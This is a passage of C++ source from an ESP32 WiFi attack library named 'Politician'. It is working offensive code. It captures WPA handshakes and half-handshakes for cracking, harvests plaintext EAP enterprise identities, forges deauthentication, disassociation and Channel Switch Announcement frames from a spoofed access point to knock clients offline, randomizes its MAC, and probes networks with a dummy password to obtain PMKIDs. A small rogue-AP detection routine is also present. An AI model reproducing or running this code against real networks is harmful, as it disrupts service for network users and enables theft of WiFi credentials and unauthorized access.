1354 } else if (is_new_m2 && _cfg.capture_half_handshakes) {
1355 // M2 seen without a prior M1 — fire half-handshake callback then pivot to active attack
1356 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1357 rec.type = CAP_EAPOL_HALF;
1358 rec.channel = sess->channel; rec.rssi = sess->rssi;
1359 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1360 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1361 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1362 rec.eapol_m2_len = sess->m2_len; rec.has_mic = true;
1363 _log("[EAPOL] Half-handshake (M2-only) for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s — pivoting\n",
1364 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1365 if (_eapolCb) _eapolCb(rec);
1366
1367 // Pivot to active attack to collect a complete handshake.
1368 // PMKID-only pivot is skipped: any M1 returned would be for our spoofed MAC,
1369 // not the real client's MAC in this session — the M2 can never be matched.
1370 // CSA/Deauth is required to force the real client to reconnect and produce M1.
1371 if (_fishState == FISH_IDLE) {
1372 if (!(_attackMask & (ATTACK_CSA | ATTACK_DEAUTH))) {
1373 _log("[EAPOL] Half-handshake pivot skipped — CSA/Deauth required to complete capture\n");
1374 } else if (_attackMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
1375 memcpy(_fishBssid, bssid, 6);
1376 memcpy(_fishSsid, sess->ssid, sess->ssid_len); _fishSsid[sess->ssid_len] = '\0';
1377 _fishSsidLen = sess->ssid_len; _fishChannel = sess->channel; _fishStartMs = millis();
1378 memcpy(_fishSta, sta, 6); // STA is known from the M2
1379 _fishState = FISH_CSA_WAIT; _csaSecondBurstSent = false;
1380 _csaFallbackMs = 0;
1381 if (_attackMask & ATTACK_CSA) _sendCsaBurst();
1382 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1383 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst((_attackMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, sta);
1384 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
1385 if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
1386 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
1387 _csaFallbackMs = millis() + 1000;
1388 } else if (_attackMask & ATTACK_DEAUTH) {
1389 _sendDeauthBurst(_cfg.deauth_burst_count, sta);
1390 }
1391 }
1392 _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
1393 }
1394 }
1395 }
1396 }
1397 return true;
1398}
1399
1400void Politician::_parseEapIdentity(const uint8_t *bssid, const uint8_t *sta,
1401 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1402 // EAP Header starts at eapol+4. Minimum needed: Code(1), Id(1), Len(2), Type(1)
1403 if (len < 9) return;
1404
1405 // EAP Code Check (We want 2 = Response)
1406 if (eapol[4] != 0x02) return;
1407
1408 // EAP Type Check (We want 1 = Identity)
1409 if (eapol[8] != 0x01) return;
1410
1411 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
1412 if (eap_len < 5) return;
1413
1414 // The plaintext Identity string is defined as everything after the Type byte.
1415 uint16_t id_len = eap_len - 5;
1416
1417 // Safety boundary check
1418 if (9 + id_len > len) return;
1419
1420 EapIdentityRecord rec;
1421 memset(&rec, 0, sizeof(rec));
1422 memcpy(rec.bssid, bssid, 6);
1423 memcpy(rec.client, sta, 6);
1424 rec.channel = _rxChannel;
1425 rec.rssi = rssi;
1426
1427 uint16_t copy_len = (id_len < 64) ? id_len : 64;
1428 memcpy(rec.identity, eapol + 9, copy_len);
1429 rec.identity[copy_len] = '\0';
1430
1431 _log("[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
1432 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
1433
1434 if (_identityCb) _identityCb(rec);
1435}
1436
1437void Politician::_parseSsid(const uint8_t *ie, uint16_t ie_len, char *out, uint8_t &out_len) {
1438 out[0] = '\0'; out_len = 0; uint16_t pos = 0;
1439 while (pos + 2 <= ie_len) {
1440 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1441 if (pos + 2 + len > ie_len) break;
1442 if (tag == 0 && len > 0 && len <= 32) {
1443 memcpy(out, ie + pos + 2, len); out[len] = '\0'; out_len = len; return;
1444 }
1445 pos += 2 + len;
1446 }
1447}
1448
1449uint8_t Politician::_classifyEnc(const uint8_t *ie, uint16_t ie_len) {
1450 bool has_rsn = false, has_wpa = false, is_enterprise = false;
1451 uint16_t pos = 0;
1452 while (pos + 2 <= ie_len) {
1453 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1454 if (pos + 2 + len > ie_len) break;
1455
1456 if (tag == 48) {
1457 has_rsn = true;
1458 // Parse robust security network AKM
1459 // Format: Version(2) + GroupCipher(4) + PairwiseCipherCount(2) + PairwiseCipherList(...) + AKMCount(2) + AKMList(...)
1460 if (len >= 18) { // Minimum length to reach AKM count assuming 1 pairwise cipher
1461 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
1462 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1463
1464 if (akm_offset + 2 <= pos + 2 + len) {
1465 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
1466 uint16_t list_offset = akm_offset + 2;
1467
1468 for (int i=0; i < akm_count; i++) {
1469 if (list_offset + 4 > pos + 2 + len) break;
1470 // OUI: 00-0F-AC, Suite Type: 1 (802.1X)
1471 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC && ie[list_offset+3] == 0x01) {
1472 is_enterprise = true;
1473 }
1474 list_offset += 4;
1475 }
1476 }
1477 }
1478 }
1479 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa = true;
1480 pos += 2 + len;
1481 }
1482
1483 if (is_enterprise) return 4;
1484 return has_rsn ? 3 : (has_wpa ? 2 : 0);
1485}
1486
1487bool Politician::_detectWpa3Only(const uint8_t *ie, uint16_t ie_len) {
1488 uint16_t pos = 0;
1489 while (pos + 2 <= ie_len) {
1490 uint8_t tag = ie[pos];
1491 uint8_t len = ie[pos + 1];
1492 if (pos + 2 + len > ie_len) break;
1493
1494 if (tag == 48 && len >= 10) { // RSN IE
1495 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1496 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1497 if (akm_offset + 2 > pos + 2 + len) { pos += 2 + len; continue; }
1498
1499 uint16_t akm_count = ie[akm_offset] | (ie[akm_offset + 1] << 8);
1500 uint16_t list_off = akm_offset + 2;
1501
1502 bool has_sae = false;
1503 bool has_wpa2psk = false;
1504 for (uint16_t i = 0; i < akm_count; i++) {
1505 if (list_off + 4 > pos + 2 + len) break;
1506 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC) {
1507 if (ie[list_off+3] == 0x02) has_wpa2psk = true; // WPA2-PSK
1508 if (ie[list_off+3] == 0x08) has_sae = true; // SAE (WPA3)
1509 }
1510 list_off += 4;
1511 }
1512
1513 // MFPR = bit 6 of RSN Capabilities
1514 bool mfpr = false;
1515 if (list_off + 2 <= pos + 2 + len) {
1516 uint16_t caps = ie[list_off] | (ie[list_off + 1] << 8);
1517 mfpr = (caps & 0x0040) != 0;
1518 }
1519
1520 if ((has_sae && !has_wpa2psk) || mfpr) return true;
1521 }
1522 pos += 2 + len;
1523 }
1524 return false;
1525}
1526
1527bool Politician::_detectFt(const uint8_t *ie, uint16_t ie_len) {
1528 uint16_t pos = 0;
1529 while (pos + 2 <= ie_len) {
1530 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1531 if (pos + 2 + len > ie_len) break;
1532 if (tag == 48 && len >= 10) { // RSN IE
1533 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1534 uint16_t akm_off = pos + 10 + (pw_count * 4);
1535 if (akm_off + 2 <= pos + 2 + len) {
1536 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1537 uint16_t list_off = akm_off + 2;
1538 for (uint16_t i = 0; i < akm_count; i++) {
1539 if (list_off + 4 > pos + 2 + len) break;
1540 // OUI 00:0F:AC, suite type 3 = FT-EAP, type 4 = FT-PSK
1541 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC &&
1542 (ie[list_off+3] == 0x03 || ie[list_off+3] == 0x04)) return true;
1543 list_off += 4;
1544 }
1545 }
1546 }
1547 pos += 2 + len;
1548 }
1549 return false;
1550}
1551
1552void Politician::_detectPmfFlags(const uint8_t *ie, uint16_t ie_len, bool &pmf_capable, bool &pmf_required) {
1553 pmf_capable = false; pmf_required = false;
1554 uint16_t pos = 0;
1555 while (pos + 2 <= ie_len) {
1556 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1557 if (pos + 2 + len > ie_len) break;
1558 if (tag == 48 && len >= 10) { // RSN IE
1559 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1560 uint16_t akm_off = pos + 10 + (pw_count * 4);
1561 if (akm_off + 2 <= pos + 2 + len) {
1562 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1563 uint16_t caps_off = akm_off + 2 + akm_count * 4;
1564 if (caps_off + 2 <= pos + 2 + len) {
1565 uint16_t caps = ie[caps_off] | (ie[caps_off + 1] << 8);
1566 pmf_capable = (caps & 0x0080) != 0; // MFPC
1567 pmf_required = (caps & 0x0040) != 0; // MFPR
1568 }
1569 }
1570 }
1571 pos += 2 + len;
1572 }
1573}
1574
1575Politician::Session* Politician::_findSession(const uint8_t *bssid, const uint8_t *sta) {
1576 for (int i = 0; i < MAX_SESSIONS; i++) {
1577 if (_sessions[i].flags.active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0) return &_sessions[i];
1578 }
1579 return nullptr;
1580}
1581
1582Politician::Session* Politician::_createSession(const uint8_t *bssid, const uint8_t *sta) {
1583 for (int i = 0; i < MAX_SESSIONS; i++) {
1584 if (!_sessions[i].flags.active) {
1585 memset(&_sessions[i], 0, sizeof(Session));
1586 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
1587 _sessions[i].flags.active = true; _sessions[i].created_ms = millis();
1588 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
1589 return &_sessions[i];
1590 }
1591 }
1592 // Prefer evicting incomplete sessions (no M1 or M2) to avoid discarding crackable handshakes
1593 int oldest_idx = 0; uint32_t oldest_ms = UINT32_MAX;
1594 int incomplete_idx = -1; uint32_t incomplete_oldest = UINT32_MAX;
1595 for (int i = 0; i < MAX_SESSIONS; i++) {
1596 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
1597 if (!(_sessions[i].flags.has_m1 && _sessions[i].flags.has_m2) && _sessions[i].created_ms < incomplete_oldest) {
1598 incomplete_oldest = _sessions[i].created_ms; incomplete_idx = i;
1599 }
1600 }
1601 int evict = (incomplete_idx >= 0) ? incomplete_idx : oldest_idx;
1602 _log("[Session] Evicting session for %02X:%02X:%02X:%02X:%02X:%02X (has_m1=%d has_m2=%d) — session table full\n",
1603 _sessions[evict].bssid[0], _sessions[evict].bssid[1], _sessions[evict].bssid[2],
1604 _sessions[evict].bssid[3], _sessions[evict].bssid[4], _sessions[evict].bssid[5],
1605 _sessions[evict].flags.has_m1, _sessions[evict].flags.has_m2);
1606 memset(&_sessions[evict], 0, sizeof(Session));
1607 memcpy(_sessions[evict].bssid, bssid, 6); memcpy(_sessions[evict].sta, sta, 6);
1608 _sessions[evict].flags.active = true; _sessions[evict].created_ms = millis();
1609 _lookupSsid(bssid, _sessions[evict].ssid, _sessions[evict].ssid_len);
1610 return &_sessions[evict];
1611}
1612
1613Politician::ApCacheEntry* Politician::_cacheAp(const uint8_t *bssid, const char *ssid, uint8_t ssid_len,
1614 uint8_t enc, uint8_t channel, int8_t rssi,
1615 bool is_wpa3_only, bool wps,
1616 bool pmf_capable, bool pmf_required,
1617 bool ft_capable, uint16_t sta_count, uint8_t chan_util,
1618 uint8_t venue_group, uint8_t venue_type, uint8_t network_type) {
1619 if (ssid_len > 32) ssid_len = 32; // defensive clamp — _parseSsid already enforces this
1620 // enc_filter_mask: skip uncacheable encryption types (hidden APs bypass — SSID unknown yet)
1621 if (ssid_len > 0 && !(_cfg.enc_filter_mask & (1 << enc))) return nullptr;
1622
1623 // ssid_filter: skip APs that don't match the SSID filter (hidden APs bypass — SSID unknown yet)
1624 if (ssid_len > 0 && _cfg.ssid_filter[0] != '\0') {
1625 if (_cfg.ssid_filter_exact) {
1626 if (ssid_len != strlen(_cfg.ssid_filter) || memcmp(ssid, _cfg.ssid_filter, ssid_len) != 0) return nullptr;
1627 } else {
1628 if (strstr(ssid, _cfg.ssid_filter) == nullptr) return nullptr;
1629 }
1630 }
1631
1632 uint32_t now = millis();
1633 for (int i = 0; i < MAX_AP_CACHE; i++) {
1634 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1635 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
1636 _apCache[i].enc = enc; _apCache[i].channel = channel;
1637 _apCache[i].rssi = (int8_t)((_apCache[i].rssi * 4 + rssi) / 5);
1638 _apCache[i].flags.is_wpa3_only = is_wpa3_only;
1639 _apCache[i].flags.wps_enabled = wps;
1640 _apCache[i].flags.pmf_capable = pmf_capable;
1641 _apCache[i].flags.pmf_required = pmf_required;
1642 _apCache[i].flags.ft_capable = ft_capable;
1643 _apCache[i].last_seen_ms = now;
1644 _apCache[i].sta_count = sta_count;
1645 _apCache[i].chan_util = chan_util;
1646 _apCache[i].venue_group = venue_group;
1647 _apCache[i].venue_type = venue_type;
1648 _apCache[i].network_type = network_type;
1649 if (sta_count > 0) _apCache[i].flags.has_active_clients = true;
1650 if (ssid_len > 0) _apCache[i].flags.is_hidden = false;
1651 if (_apCache[i].beacon_count < 0xFFFF) _apCache[i].beacon_count++;
1652 return &_apCache[i];
1653 }
1654 }
1655
1656 int slot = -1;
1657 uint32_t oldest_ms = UINT32_MAX;
1658 for (int i = 0; i < MAX_AP_CACHE; i++) {
1659 if (!_apCache[i].flags.active) {
1660 slot = i;
1661 break;
1662 }
1663 if (_apCache[i].last_seen_ms < oldest_ms) {
1664 oldest_ms = _apCache[i].last_seen_ms;
1665 slot = i;
1666 }
1667 }
1668 if (slot == -1) slot = 0;
1669
1670 _apCache[slot].flags.active = true; _apCache[slot].last_probe_ms = 0;
1671 _apCache[slot].last_stimulate_ms = 0; _apCache[slot].first_seen_ms = now; _apCache[slot].last_seen_ms = now;
1672 _apCache[slot].last_hidden_probe_ms = 0;
1673 _apCache[slot].known_sta_count = 0;
1674 _apCache[slot].beacon_count = 1;
1675 _apCache[slot].total_attempts = 0;
1676 _apCache[slot].flags.is_hidden = (ssid_len == 0);
1677 _apCache[slot].flags.wps_enabled = wps;
1678 _apCache[slot].flags.pmf_capable = pmf_capable;
1679 _apCache[slot].flags.pmf_required = pmf_required;
1680 _apCache[slot].flags.ft_capable = ft_capable;
1681 _apCache[slot].sta_count = sta_count;
1682 _apCache[slot].chan_util = chan_util;
1683 _apCache[slot].venue_group = venue_group;
1684 _apCache[slot].venue_type = venue_type;
1685 _apCache[slot].network_type = network_type;
1686 _apCache[slot].flags.has_active_clients = (sta_count > 0);
1687 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
1688 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
1689 _apCache[slot].rssi = rssi; _apCache[slot].flags.is_wpa3_only = is_wpa3_only;
1690
1691 // Rogue AP detection: fire callback if another active AP shares the same SSID on the same channel
1692 if (_rogueApCb && ssid_len > 0) {
1693 for (int i = 0; i < MAX_AP_CACHE; i++) {
1694 if (i == slot || !_apCache[i].flags.active) continue;
1695 if (_apCache[i].channel != channel) continue;
1696 if (_apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
1697 if (memcmp(_apCache[i].bssid, bssid, 6) == 0) continue;
1698 RogueApRecord rec;
1699 memset(&rec, 0, sizeof(rec));
1700 memcpy(rec.known_bssid, _apCache[i].bssid, 6);
1701 memcpy(rec.rogue_bssid, bssid, 6);
1702 memcpy(rec.ssid, ssid, ssid_len + 1);
1703 rec.ssid_len = ssid_len;
1704 rec.channel = channel;
1705 rec.rssi = rssi;
1706 _rogueApCb(rec);
1707 break;
1708 }
1709 }
1710 return &_apCache[slot];
1711}
1712
1713bool Politician::_lookupSsid(const uint8_t *bssid, char *out_ssid, uint8_t &out_len) {
1714 for (int i = 0; i < MAX_AP_CACHE; i++) {
1715 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1716 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len; return true;
1717 }
1718 }
1719 out_ssid[0] = '\0'; out_len = 0; return false;
1720}
1721
1723 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
1724 int n = 0;
1725 for (int i = 0; i < MAX_AP_CACHE; i++) if (_apCache[i].flags.active) n++;
1726 xSemaphoreGiveRecursive(_lock);
1727 return n;
1728}
1729
1730bool Politician::getAp(int idx, ApRecord &out) const {
1731 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
1732 int found = 0;
1733 bool ok = false;
1734 for (int i = 0; i < MAX_AP_CACHE; i++) {
1735 if (!_apCache[i].flags.active) continue;
1736 if (found == idx) {
1737 memcpy(out.bssid, _apCache[i].bssid, 6);
1738 memcpy(out.ssid, _apCache[i].ssid, 33);
1739 out.ssid_len = _apCache[i].ssid_len;
1740 out.enc = _apCache[i].enc;
1741 out.channel = _apCache[i].channel;
1742 out.rssi = _apCache[i].rssi;
1743 out.wps_enabled = _apCache[i].flags.wps_enabled;
1744 out.pmf_capable = _apCache[i].flags.pmf_capable;
1745 out.pmf_required = _apCache[i].flags.pmf_required;
1746 out.total_attempts = _apCache[i].total_attempts;
1747 out.captured = _isCaptured(_apCache[i].bssid);
1748 out.ft_capable = _apCache[i].flags.ft_capable;
1749 out.first_seen_ms = _apCache[i].first_seen_ms;
1750 out.last_seen_ms = _apCache[i].last_seen_ms;
1751 memcpy(out.country, _apCache[i].country, 3);
1752 out.beacon_interval = _apCache[i].beacon_interval;
1753 out.max_rate_mbps = _apCache[i].max_rate_mbps;
1754 out.is_hidden = _apCache[i].flags.is_hidden;
1755 out.sta_count = _apCache[i].sta_count;
1756 out.chan_util = _apCache[i].chan_util;
1757 out.venue_group = _apCache[i].venue_group;
1758 out.venue_type = _apCache[i].venue_type;
1759 out.network_type = _apCache[i].network_type;
1760 ok = true; break;
1761 }
1762 found++;
1763 }
1764 xSemaphoreGiveRecursive(_lock);
1765 return ok;
1766}
1767
1768bool Politician::getApByBssid(const uint8_t *bssid, ApRecord &out) const {
1769 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
1770 bool ok = false;
1771 for (int i = 0; i < MAX_AP_CACHE; i++) {
1772 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
1773 memcpy(out.bssid, _apCache[i].bssid, 6);
1774 memcpy(out.ssid, _apCache[i].ssid, 33);
1775 out.ssid_len = _apCache[i].ssid_len;
1776 out.enc = _apCache[i].enc;
1777 out.channel = _apCache[i].channel;
1778 out.rssi = _apCache[i].rssi;
1779 out.wps_enabled = _apCache[i].flags.wps_enabled;
1780 out.pmf_capable = _apCache[i].flags.pmf_capable;
1781 out.pmf_required = _apCache[i].flags.pmf_required;
1782 out.total_attempts = _apCache[i].total_attempts;
1783 out.captured = _isCaptured(_apCache[i].bssid);
1784 out.ft_capable = _apCache[i].flags.ft_capable;
1785 out.first_seen_ms = _apCache[i].first_seen_ms;
1786 out.last_seen_ms = _apCache[i].last_seen_ms;
1787 memcpy(out.country, _apCache[i].country, 3);
1788 out.beacon_interval = _apCache[i].beacon_interval;
1789 out.max_rate_mbps = _apCache[i].max_rate_mbps;
1790 out.is_hidden = _apCache[i].flags.is_hidden;
1791 out.sta_count = _apCache[i].sta_count;
1792 out.chan_util = _apCache[i].chan_util;
1793 out.venue_group = _apCache[i].venue_group;
1794 out.venue_type = _apCache[i].venue_type;
1795 out.network_type = _apCache[i].network_type;
1796 ok = true; break;
1797 }
1798 xSemaphoreGiveRecursive(_lock);
1799 return ok;
1800}
1801
1802int Politician::getClientCount(const uint8_t *bssid) const {
1803 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
1804 int count = 0;
1805 for (int i = 0; i < MAX_AP_CACHE; i++) {
1806 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1807 count = _apCache[i].known_sta_count; break;
1808 }
1809 }
1810 xSemaphoreGiveRecursive(_lock);
1811 return count;
1812}
1813
1814bool Politician::getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const {
1815 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
1816 bool ok = false;
1817 for (int i = 0; i < MAX_AP_CACHE; i++) {
1818 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
1819 if (idx >= 0 && idx < _apCache[i].known_sta_count) {
1820 memcpy(out_sta, _apCache[i].known_stas[idx], 6);
1821 ok = true;
1822 }
1823 break;
1824 }
1825 xSemaphoreGiveRecursive(_lock);
1826 return ok;
1827}
1828
1829bool Politician::_lookupEnc(const uint8_t *bssid, uint8_t &out_enc) {
1830 for (int i = 0; i < MAX_AP_CACHE; i++) {
1831 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1832 out_enc = _apCache[i].enc; return true;
1833 }
1834 }
1835 out_enc = 0; return false;
1836}
1837
1838bool Politician::_isCaptured(const uint8_t *bssid) const {
1839 for (int i = 0; i < _ignoreCount; i++) if (memcmp(_ignoreList[i], bssid, 6) == 0) return true;
1840
1841 int left = 0, right = _capturedCount - 1;
1842 while (left <= right) {
1843 int mid = left + (right - left) / 2;
1844 int cmp = memcmp(_captured[mid], bssid, 6);
1845 if (cmp == 0) return true;
1846 if (cmp < 0) left = mid + 1;
1847 else right = mid - 1;
1848 }
1849 return false;
1850}
1851
1852void Politician::_sendDeauthBurst(uint8_t count, const uint8_t *sta) {
1853 static const uint8_t BROADCAST[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
1854 const uint8_t *da = (_cfg.unicast_deauth && sta != nullptr) ? sta : BROADCAST;
1855
1856 uint8_t deauth[26] = {
1857 0xC0, 0x00, 0x00, 0x00, // Frame Control (Deauth), Duration
1858 da[0], da[1], da[2], da[3], da[4], da[5], // DA
1859 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // SA (Spoofed AP)
1860 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // BSSID (Spoofed AP)
1861 0x00, 0x00, // Seq
1862 _cfg.deauth_reason, 0x00 // Reason code (default 7)
1863 };
1864
1865 static const uint8_t REASONS[] = { 7, 1, 2, 4, 8, 15 };
1866 uint8_t num_reasons = sizeof(REASONS);
1867
1868 for (int i = 0; i < count; i++) {
1869 deauth[0] = (i % 2 == 0) ? 0xC0 : 0xA0; // Alternate between Deauth (0xC0) and Disassoc (0xA0)
1870 deauth[22] = (i << 4) & 0xFF;
1871 if (_cfg.deauth_reason_cycling) {
1872 deauth[24] = REASONS[i % num_reasons];
1873 }
1874 esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
1875 delay(2);
1876 }
1877 _log("[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.deauth_reason_cycling ? "Fuzzing" : "Static", _fishChannel, (da[0] == 0xFF) ? "broadcast" : "unicast");
1878}
1879
1880void Politician::_markCapturedSsidGroup(const char *ssid, uint8_t ssid_len) {
1881 if (ssid_len == 0) return;
1882 for (int i = 0; i < MAX_AP_CACHE; i++) {
1883 if (!_apCache[i].flags.active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
1884 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
1885 }
1886}
1887
1888void Politician::_markCaptured(const uint8_t *bssid) {
1889 if (_isCaptured(bssid)) return;
1890 if (_capturedCount >= MAX_CAPTURED) return; // list full — never overwrite existing entries
1891
1892 int pos = 0;
1893 while (pos < _capturedCount && memcmp(_captured[pos], bssid, 6) < 0) pos++;
1894
1895 if (pos < _capturedCount) {
1896 memmove(&_captured[pos + 1], &_captured[pos], (_capturedCount - pos) * 6);
1897 }
1898 memcpy(_captured[pos], bssid, 6);
1899 _capturedCount++;
1900
1901 _log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1902}
1903
1904void Politician::_expireSessions(uint32_t timeoutMs) {
1905 uint32_t now = millis();
1906 for (int i = 0; i < MAX_SESSIONS; i++) if (_sessions[i].flags.active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].flags.active = false;
1907}
1908
1909const char* Politician::getVendor(const uint8_t *mac) {
1910#ifndef POLITICIAN_NO_DB
1911 int left = 0, right = fingerprint::_FP_OUI_DB_COUNT - 1;
1912 while (left <= right) {
1913 int mid = left + (right - left) / 2;
1914 int cmp = memcmp(fingerprint::_FP_OUI_DB[mid].oui, mac, 3);
1916 if (cmp < 0) left = mid + 1;
1917 else right = mid - 1;
1918 }
1919#endif
1920 return "";
1921}
1922
1923void Politician::_randomizeMac() {
1924 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
1925 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
1926 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
1927 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
1928 _log("[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
1929}
1930
1931void Politician::_startFishing(const uint8_t *bssid, const char *ssid, uint8_t ssid_len, uint8_t channel) {
1932 if (_fishState != FISH_IDLE) return;
1933 for (int i = 0; i < MAX_AP_CACHE; i++) {
1934 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0 && _apCache[i].flags.ft_capable)
1935 _log("[Fish] Note: AP advertises FT AKM — PMKID may be FT-derived and require FT-aware cracking\n");
1936 }
1937 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
1938 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
1939 memcpy(sta_cfg.sta.password, "WiFighter00", 11); sta_cfg.sta.bssid_set = true; memcpy(sta_cfg.sta.bssid, bssid, 6);
1940 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
1941 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] = '\0';
1942 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs = millis();
1943 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged = false; _fishAssocLogged = false;
1944 _probeLocked = true; _probeLockEndMs = millis() + _cfg.fish_timeout_ms;
1945 _log("[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
1946}
1947
1948void Politician::_sendCsaBurst() {
1949 uint8_t frame[100]; int p = 0;
1950 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
1951 for (int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
1952 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
1953 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
1954 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
1955 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
1956 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
1957 for (int i = 0; i < _cfg.csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); delay(15); }
1958 _log("[CSA] Sent burst on ch%d\n", _fishChannel);
1959}
1960
1961void Politician::_processFishing() {
